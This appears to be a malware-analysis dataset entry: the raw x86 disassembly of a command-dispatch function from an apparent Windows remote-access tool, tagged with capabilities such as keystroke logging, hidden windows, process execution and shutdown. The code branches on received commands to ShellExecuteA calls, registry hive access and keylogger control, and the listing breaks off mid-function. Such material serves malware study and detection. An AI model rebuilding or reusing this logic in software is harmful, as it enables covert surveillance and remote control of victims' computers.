Function at 0x491060
Capabilities:
Create process on windows
Hide graphical window
Log keystrokes
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1143
push 0
push 0
dec ecx
jne 0x491068
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4968b1
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x496819
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8354]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8354]
mov edx, 0x4968cc
call fcn.00404f38
jne 0x491105
lea ecx, [ebp - 0x8358]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8358]
lea edx, [ebp - 0x30]
call fcn.0045de64
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4968cc
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x835c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x835c]
mov edx, 0x4968d8
call fcn.00404f38
jne 0x491495
xor eax, eax
push ebp
push 0x49147e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 3
jl 0x49140b
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4913f4
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x8360]
push eax
lea ecx, [ebp - 0x8364]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8364]
call fcn.00404dec
push eax
lea ecx, [ebp - 0x8368]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8368]
mov ecx, 1
pop edx
call fcn.0040504c
mov eax, dword [ebp - 0x8360]
mov edx, 0x4968e4
call fcn.00404f38
jne 0x4912f3
lea ecx, [ebp - 0x836c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x836c]
call fcn.00409678
test al, al
je 0x4913ea
mov eax, dword [ebp - 0x20]
call fcn.00404dec
mov edx, eax
lea eax, [ebp - 0x20]
mov ecx, 1
call fcn.0040508c
lea edx, [ebp - 0x8370]
mov eax, dword [ebp - 0x20]
call fcn.0045d4c4
mov ecx, dword [ebp - 0x8370]
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404e38
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x1c]
mov ecx, 0x4968e4
mov edx, dword [ebp - 0x18]
call fcn.00404e38
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x4912d7
inc dword [ebp - 0xc]
lea edx, [ebp - 0x8374]
mov eax, dword [ebp - 0x18]
call fcn.0045d574
push dword [ebp - 0x8374]
lea ecx, [ebp - 0x8378]
mov dx, 5
mov ax, 0xeb
call fcn.0048e358
push dword [ebp - 0x8378]
lea edx, [ebp - 0x837c]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x837c]
push 0x4968f0
lea edx, [ebp - 0x8380]
mov eax, dword [ebp - 0x18]
call fcn.0045d4c4
push dword [ebp - 0x8380]
push 0x4968e4
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00404eac
mov eax, dword [ebp - 0x1c]
call fcn.00409678
test al, al
jne 0x491268
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.0045dbcc
jmp 0x4913ea
lea ecx, [ebp - 0x8384]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8384]
call fcn.00409668
test al, al
je 0x4913ea
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea edx, [ebp - 0x8388]
mov eax, dword [ebp - 0x20]
call fcn.0045d4c4
mov edx, dword [ebp - 0x8388]
lea eax, [ebp - 0x1c]
call fcn.00404df4
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
call fcn.00404bc4
jmp 0x4913d3
inc dword [ebp - 0xc]
lea edx, [ebp - 0x838c]
mov eax, dword [ebp - 0x18]
call fcn.0045d574
push dword [ebp - 0x838c]
lea ecx, [ebp - 0x8390]
mov dx, 5
mov ax, 0xf0
call fcn.0048e358
push dword [ebp - 0x8390]
lea edx, [ebp - 0x8394]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8394]
push 0x4968f0
lea edx, [ebp - 0x8398]
mov eax, dword [ebp - 0x18]
call fcn.0045d4c4
push dword [ebp - 0x8398]
lea eax, [ebp - 0x1c]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x1c]
call fcn.00409668
test al, al
jne 0x491369
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
call fcn.0045da70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4913fe
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jne 0x491155
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x83a0]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83a0]
lea ecx, [ebp - 0x839c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x839c]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83a4]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83a4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491488
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x83a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83a8]
mov edx, 0x496908
call fcn.00404f38
jne 0x491511
xor eax, eax
push ebp
push 0x4914fa
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a51], 0
je 0x4914dd
mov eax, dword [0x4a6a44]
call fcn.0041c07c
cmp byte [0x4a6a52], 0
je 0x4914f0
mov eax, dword [0x4a6a4c]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491504
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x83ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ac]
mov edx, 0x496914
call fcn.00404f38
jne 0x49171c
xor eax, eax
push ebp
push 0x491705
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
cmp eax, 2
jl 0x491692
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x49167b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x83b0]
push eax
lea ecx, [ebp - 0x83b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b4]
call fcn.00404dec
push eax
lea ecx, [ebp - 0x83b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83b8]
mov ecx, 1
pop edx
call fcn.0040504c
mov eax, dword [ebp - 0x83b0]
mov edx, 0x4968e4
call fcn.00404f38
jne 0x491611
lea ecx, [ebp - 0x83bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83bc]
call fcn.00409678
test al, al
je 0x491671
lea ecx, [ebp - 0x83c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c0]
call fcn.0045d850
jmp 0x491671
lea ecx, [ebp - 0x83c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c4]
call fcn.00409668
test al, al
je 0x491671
lea ecx, [ebp - 0x83c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83c8]
xor edx, edx
call fcn.00409784
lea ecx, [ebp - 0x83cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83cc]
call fcn.004098a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491685
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 1
jne 0x491561
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x83d4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83d4]
lea ecx, [ebp - 0x83d0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x83d0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83d8]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83d8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49170f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x83dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83dc]
mov edx, 0x496920
call fcn.00404f38
jne 0x491830
xor eax, eax
push ebp
push 0x491819
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
push ebp
push 0x49179c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
call fcn.004098b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4917a6
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x83e4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x83e4]
lea ecx, [ebp - 0x83e0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x83e0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x83e8]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x83e8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491823
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x83ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83ec]
mov edx, 0x49692c
call fcn.00404f38
jne 0x4919ad
xor eax, eax
push ebp
push 0x491996
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x49190b
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x83f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83f4]
lea edx, [ebp - 0x83f0]
call fcn.0045d574
push dword [ebp - 0x83f0]
lea ecx, [ebp - 0x83fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x83fc]
lea edx, [ebp - 0x83f8]
call fcn.0045d4c4
push dword [ebp - 0x83f8]
push 0x496938
lea edx, [ebp - 0x8400]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8400]
push 0x4968f0
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x18]
call fcn.00409678
test al, al
jne 0x491885
mov eax, dword [ebp - 0x18]
call fcn.00409c30
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x8408]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8408]
lea ecx, [ebp - 0x8404]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8404]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x840c]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x840c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4919a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8410]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8410]
mov edx, 0x496944
call fcn.00404f38
jne 0x491b71
xor edx, edx
push ebp
push 0x491b5a
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x491a9c
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x8418]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8418]
lea edx, [ebp - 0x8414]
call fcn.0045d574
push dword [ebp - 0x8414]
lea ecx, [ebp - 0x841c]
mov dx, 5
mov ax, 0xf5
call fcn.0048e358
push dword [ebp - 0x841c]
lea edx, [ebp - 0x8420]
mov eax, dword [ebp - 0xc]
call fcn.004090d8
push dword [ebp - 0x8420]
push 0x4968f0
lea ecx, [ebp - 0x8428]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8428]
lea edx, [ebp - 0x8424]
call fcn.0045d4c4
push dword [ebp - 0x8424]
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00404eac
mov eax, dword [ebp - 0x18]
call fcn.00409668
test al, al
jne 0x491a02
xor edx, edx
push ebp
push 0x491add
push dword fs:[edx]
mov dword fs:[edx], esp
push 0xffff
mov ecx, dword [ebp - 0x18]
mov dl, 1
mov eax, dword [0x413af8]
call fcn.004182c4
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491ae7
lea eax, [ebp - 0x30]
mov edx, 0x4968d8
call fcn.00404bc4
lea eax, [ebp - 0x8430]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8430]
lea ecx, [ebp - 0x842c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x842c]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8434]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8434]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491b64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8438]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8438]
mov edx, 0x496950
call fcn.00404f38
jne 0x491dcd
xor eax, eax
push ebp
push 0x491db6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x491cd6
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x843c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x843c]
call fcn.00409244
sub eax, 1
jb 0x491c0e
je 0x491c2f
dec eax
je 0x491c50
dec eax
je 0x491c71
jmp 0x491c90
push 1
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491c90
push 0
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491c90
push 3
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x491c90
push 6
push 0
mov eax, dword [ebp - 0x20]
call fcn.00404fec
push eax
mov eax, dword [ebp - 0x1c]
call fcn.00404fec
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA
lea ecx, [ebp - 0x8440]
mov dx, 6
mov ax, 0xfa
call fcn.0048e358
mov eax, dword [ebp - 0x8440]
push eax
lea eax, [ebp - 0x8444]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8444]
lea ecx, [ebp - 0x18]
pop eax
call fcn.0045839c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491d1c
lea eax, [ebp - 0x30]
mov edx, 0x496908
call fcn.00404bc4
lea eax, [ebp - 0x8454]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8454]
lea ecx, [ebp - 0x8450]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8450]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8458]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8458]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x845c]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x18]
call fcn.00404e38
mov edx, dword [ebp - 0x845c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491dc0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8460]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8460]
mov edx, 0x49695c
call fcn.00404f38
jne 0x491e2f
xor edx, edx
push ebp
push 0x491e18
push dword fs:[edx]
mov dword fs:[edx], esp
mov dl, 1
mov eax, dword [0x48adf4]
call fcn.0048ae6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491e22
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8464]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8464]
mov edx, 0x496968
call fcn.00404f38
jne 0x492026
xor eax, eax
push ebp
push 0x49200f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x496974
call fcn.00404bc4
lea eax, [ebp - 0x846c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x846c]
lea ecx, [ebp - 0x8468]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x8468]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x8470]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x8470]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8474]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8474]
lea eax, [ebp - 0x184]
call fcn.00402f24
mov eax, dword [0x4a06b4]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x184]
call fcn.004035cc
call fcn.00402894
xor edx, edx
lea eax, [ebp - 0x184]
call fcn.004035f4
call fcn.00402894
lea eax, [ebp - 0x184]
call fcn.0040326c
call fcn.00402894
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov cl, 1
call fcn.00481c5c
xor eax, eax
push ebp
push 0x491fb7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
or edx, 0xffffffff
call fcn.00481ea0
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x8184]
mov ecx, 0x8000
lea eax, [ebp - 0x184]
call fcn.00403088
call fcn.00402894
push 0
lea edx, [ebp - 0x8184]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [ebp - 0x14]
call fcn.0048191c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
call fcn.00481ec8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x491feb
cmp dword [ebp - 0x14], 0
jne 0x491f48
lea eax, [ebp - 0x184]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x492019
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8478]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8478]
mov edx, 0x496980
call fcn.00404f38
jne 0x4920ca
xor eax, eax
push ebp
push 0x4920b3
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a51], 0
je 0x49206e
mov eax, dword [0x4a6a44]
call fcn.0041c07c
mov ecx, dword [0x4a6a54]
mov dl, 1
mov eax, dword [0x48d5d4]
call fcn.0048d634
mov dword [0x4a6a44], eax
cmp byte [0x4a6a52], 0
je 0x492098
mov eax, dword [0x4a6a4c]
call fcn.0041c07c
mov dl, 1
mov eax, dword [0x48cdb8]
call fcn.0048ce20
mov dword [0x4a6a4c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4920bd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x847c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x847c]
mov edx, 0x49698c
call fcn.00404f38
jne 0x492335
xor eax, eax
push ebp
push 0x4922ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x4138d4]
call fcn.00403d28
mov esi, eax
mov dl, 1
mov eax, dword [0x4138d4]
call fcn.00403d28
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov dl, 1
mov eax, dword [0x459b94]
call fcn.00459df8
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4922dd
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8480]
mov dx, 0x11
mov ax, 0x106
call fcn.0048e358
mov edx, dword [ebp - 0x8480]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x49217f
mov edx, 0x80000000
mov eax, dword [ebp - 0x24]
call fcn.00459e98
lea ecx, [ebp - 0x8484]
mov dx, 0x11
mov ax, 0x117
call fcn.0048e358
mov edx, dword [ebp - 0x8484]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x4921af
mov edx, 0x80000001
mov eax, dword [ebp - 0x24]
call fcn.00459e98
lea ecx, [ebp - 0x8488]
mov dx, 0x12
mov ax, 0x128
call fcn.0048e358
mov edx, dword [ebp - 0x8488]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x4921df
mov edx, 0x80000002
mov eax, dword [ebp - 0x24]
call fcn.00459e98
lea ecx, [ebp - 0x848c]
mov dx, 0xa
mov ax, 0x13a
call fcn.0048e358
mov edx, dword [ebp - 0x848c]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x49220f
mov edx, 0x80000003
mov eax, dword [ebp - 0x24]
call fcn.00459e98
lea ecx, [ebp - 0x8490]
mov dx, 0x13
mov ax, 0x144
call fcn.0048e358
mov edx, dword [ebp - 0x8490]
mov eax, dword [ebp - 0x1c]
call fcn.00404f38
jne 0x49223f
mov edx, 0x80000005
mov eax, dword [ebp - 0x24]
call fcn.00459e98
lea eax, [ebp - 0x20]
call fcn.00404b2c
lea ecx, [ebp - 0x8494]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8494]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
call fcn.00459fdc
test al, al
je 0x4922bf
mov edx, esi
mov eax, dword [ebp - 0x24]
call fcn.0045a300
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
